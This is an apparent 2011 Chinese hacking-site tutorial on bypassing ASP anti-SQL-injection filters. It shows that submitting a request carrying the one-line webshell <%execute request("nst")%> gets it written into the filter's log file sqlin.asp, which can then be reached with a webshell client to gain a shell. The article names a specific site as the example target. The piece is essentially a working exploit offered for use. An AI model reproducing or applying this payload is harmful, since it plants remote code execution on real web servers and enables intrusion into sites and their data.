首页 | 新闻 | 交流 | 问吧 | 文档 | 手册 | 下载 | 博客

突破防注入,防注入程序拿shell

作者:  时间: 2011-04-09

当你用单引号“’”来测试一个网站可能存在注入漏洞的地址时(假设网址为“www.lvbaowang.com/news.asp?id=6”)弹出了“你的操作已被记录!”这类信息,而我们又没办法去绕过防注入系统的时候,可以试着提交http://www.lvbaowang.com/sqlin.asp看看存不存在“sqlin.asp” ,如果存在的话,我们只要提交<A href="http://www.lvbaowang.com/news.asp?id=6'http://www.lvbaowang.com/news.asp?id=6'<%execute request("nst")%>

然后再用一句话木马客户端来连接http://www.lvbaowang.com/sqlin.asp文件就行了,

因为目前很多通用防注入程序都是用”sqlin.asp“这个文件名来做非法记录的数据库,而且大多数都没防下载处理。

http://www.lvbaowang.com/inc/sqlin.asp